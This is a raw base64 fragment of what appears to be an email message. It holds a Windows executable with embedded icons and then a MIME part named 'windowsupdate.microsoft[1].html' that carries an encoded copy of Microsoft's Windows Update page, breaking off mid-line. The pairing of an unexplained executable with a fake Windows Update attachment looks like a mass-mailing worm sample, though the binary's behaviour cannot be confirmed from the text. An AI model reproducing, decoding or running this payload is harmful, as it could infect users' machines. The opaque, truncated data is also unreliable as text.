AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA yAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADSJ35TlkYQAJZGEACWRhAAEkAWAJdGEACWRhAAWUYQABFaEgCXRhAA UmljaJZGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEGAC9mnDYAAAAAAAAAAOAA DiELAQUKADIBAACkAAAAAAAAQPMAAAAQAAAAUAEAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAA AAAAAAAgAgAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADgZwEAnQAAAIhg AQBkAAAAAPABAEAHAAAAAAAAAAAAAAAAAAAAAAAAAAACAMgRAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAEATAEAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAC50ZXh0AAAAFjABAAAQAAAAMgEAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRh dGEAAH0YAAAAUAEAABoAAAA2AQAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAkYQAAAHABAAA6 AAAAUAEAAAAAAAAAAAAAAAAAQAAAwFNoYXJlU2VnHgMAAADgAQAABAAAAIoBAAAAAAAAAAAA AAAAAEAAANAucnNyYwAAAEAHAAAA8AEAAAgAAACOAQAAAAAAAAAAAAAAAABAAABALnJlbG9j AAAGGgAAAAACAAAcAAAAlgEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --T8M536VLD4D300QX7 --T8M536VLD4D300QX7 Content-Type: application/octet-stream; name=windowsupdate.microsoft[1].html Content-Transfer-Encoding: base64 Content-ID: PEhUTUw+DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IlBJQ1MtTGFiZWwiIENPTlRFTlQ9 JyhQSUNTLTEuMSAiaHR0cDovL3d3dy5yc2FjLm9yZy9yYXRpbmdzdjAxLmh0bWwiIGwgY29t bWVudCAiUlNBQ2kgTm9ydGggQW1lcmljYSBTZXJ2ZXIiIGJ5ICJpbmV0QG1pY3Jvc29mdC5j b20iIHIgKG4gMCBzIDAgdiAwIGwgMCkpJz4NCjxNRVRBIG5hbWU9ImRlc2NyaXB0aW9uIiBj b250ZW50PSJUaGUgTWljcm9zb2Z0IFdpbmRvd3MgVXBkYXRlIENvbnN1bWVyIHNpdGUgcHJv dmlkZXMgY3JpdGljYWwgdXBkYXRlcywgc2VjdXJpdHkgZml4ZXMsIHNvZnR3YXJlIGRvd25s b2FkcywgYW5kIE1pY3Jvc29mdCBXaW5kb3dzIEhhcmR3YXJlIFF1YWxpdHkgTGFiIChXSFFM KSBkZXZpY2UgZHJpdmVycyBmb3IgeW91ciBXaW5kb3dzIG9wZXJhdGluZyBzeXN0ZW0gYW5k IEludGVybmV0IEV4cGxvcmVyIGJyb3dzZXIuIj4NCjxNRVRBIG5hbWU9ImtleXdvcmRzIiBj b250ZW50PSJ3aW5kb3dzIHVwZGF0ZSBjb25zdW1lciBzaXRlLCB1cGRhdGUsIHVwZGF0ZXMs IGhvdGZpeCwgUUZFLCBwYXRjaCwgcGF0Y2hlcywgZml4LCBmaXhlcywgZmVhdHVyZXMsIE1p Y3Jvc29mdCwgVGVjaE5ldCwgZG93bmxvYWQsIGRvd25sb2Fkcywgc2VydmljZSwgc2Vydmlj ZXMsIHNvZnR3YXJlLCBzZXJ2aWNlIHBhY2ssIHNlcnZpY2UgcGFja3MsIHdpbmRvd3MgMjAw MCwgd2luMmssIHdpbmRvd3MgOTgsIDk1LCBNRSwgTWlsbGVubml1bSwgSW50ZXJuZXQsIElu dGVybmV0IEV4cGxvcmVyLCBzdXBwb3J0LCBuZXR3b3JrLCBhZG1pbmlzdHJhdG9yLCB0ZWNo bm9sb2d5LCB0ZWNoLCBTZWN1cml0eSwgU2VjdXJpdHkgQnVsbGV0aW4sIHNlY3VyaXR5IHZ1 bG5lcmFiaWxpdHksIGNyaXRpY2FsLCBjcml0aWNhbCB1cGRhdGVzLCBzZWN1cml0eSB1cGRh dGUsIG91dGxvb2ssIE91dGxvb2sgRXhwcmVzcywgV2luZG93cyBOVCA0LjAsIHdpbmRvd3Nu dCwgd2luZG93cyBudCAsIGludGVyb3BlcmFiaWxpdHksIHZ1bG5lcmFiaWxpdHksIHRlY2hu aWNhbCwgeTJrLCB5ZWFyMjAwMCwgeWVhciAyMDAwLCByZXNvdXJjZSBndWlkZSwgbWFpbnRl bmFuY2UsIHBsYW5uaW5nLCBleGNoYW5nZSwgbWFpbnRhaW4sIG5ldHdvcmtpbmcsIG1pZ3Jh dGlvbiwgcmVzb3VyY2Uga2l0LCBzdXBwb3J0LCBoZWxwLCBkaWFsdXAsIG1pZ3JhdGlvbiwg d2luZG93cyBtZWRpYSBwbGF5ZXIiPg0KPFRJVExFPk1pY3Jvc29mdCBXaW5kb3dzIFVwZGF0 ZTwvVElUTEU+DQo8U2NyaXB0IExhbmd1YWdlPSJKYXZhU2NyaXB0Ij4NCi8qIDwhLS0gKi8N CnZhciBzekxhbmcgPSAiIjsNCnZhciBzdHJQYWdlID0gIiI7DQp2YXIgVmFyVXNyQWd0ID0g bmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpOw0KdmFyIHNRdWVyeSA9IGxvY2F0 aW9uLnNlYXJjaDsNCmlmKCBWYXJVc3JBZ3QuaW5kZXhPZigid2luZG93cyBudCA1LjEiKSAh PSAtMSApDQp7DQoJbG9jYXRpb24ucmVwbGFjZSggImh0dHA6Ly92NC53aW5kb3dzdXBkYXRl Lm1pY3Jvc29mdC5jb20vZGVmYXVsdC5hc3AiICsgc1F1ZXJ5ICk7DQp9DQppZiAoICggKFZh clVzckFndC5pbmRleE9mKCJ3aW5kb3dzIGNlIikgIT0gLTEpIHx8IChWYXJVc3JBZ3QuaW5k ZXhPZigibXNpZSA0LjAiKSA9PSAtMSkpICYmIChWYXJVc3JBZ3QuaW5kZXhPZigibXNpZSA1 LiIpID09IC0xKSAmJiAoVmFyVXNyQWd0LmluZGV4T2YoIm1zaWUgNi4iKSA9PSAtMSkgKQ0K ew0KIHN6TGFuZyA9ICJlbiI7DQoJaWYgKFZhclVzckFndC5pbmRleE9mKCJ3aW5kb3dzIGNl IikgPT0gLTEpDQoJew0KIGlmICggKCAoVmFyVXNyQWd0LmluZGV4T2YoImNvbXBhdGlibGUi KSAhPSAtMSkgfHwgKChWYXJVc3JBZ3QuaW5kZXhPZigibW96aWxsYS8zIikgPT0gLTEpKSAm JiAoVmFyVXNyQWd0LmluZGV4T2YoIm1zaWUgMyIpID09IC0xKSkgfHwgKFZhclVzckFndC5p bmRleE9mKCJuZXRzY2FwZSIpICE9IC0xKSApDQogew0KIHN6TGFuZyA9IG5hdmlnYXRvci5s YW5ndWFnZS50b0xvd2VyQ2FzZSgpOw0KIGlmIChzekxhbmcuaW5kZXhPZigiLSIpICE9IC0x KQ0KIHsNCiBpZiAoc3pMYW5nLmluZGV4T2YoImNuIikgIT0gLTEpDQogew0KIHN6TGFuZyA9 ICJ6aGNuIg0KIH0NCiBlbHNlIGlmIChzekxhbmcuaW5kZXhPZigidHciKSAhPSAtMSkNCiB7 DQogc3pMYW5nID0gInpodHciDQogfQ0KIGVsc2UNCiB7DQogc3pMYW5nID0gc3pMYW5nLnN1 YnN0cmluZygwLCBzekxhbmcuaW5kZXhPZigiLSIpKTsNCiB9DQogfQ0KIH0NCgl9DQoJbG9j YXRpb24uaHJlZiA9ICJSODgwL3YzMXNpdGUveDg2L3c5OC8iICsgc3pMYW5nICsgIi90aGFu a3NzdGFydC5odG0iOw0KCWlmIChWYXJVc3JBZ3QuaW5kZXhPZigibmV0c2NhcGUiKSAhPSAt MSkNCgl7DQogd2luZG93Lm5hdmlnYXRlICgpOw0KCX0NCn0NCiB2YXIgZ19iSXNXaW5VcGRh dGUgPSB0cnVlOw0KIGRvY3VtZW50Lm9wZW4oKTsNCiBkb2N1bWVudC53cml0ZSgiPEZSQU1F 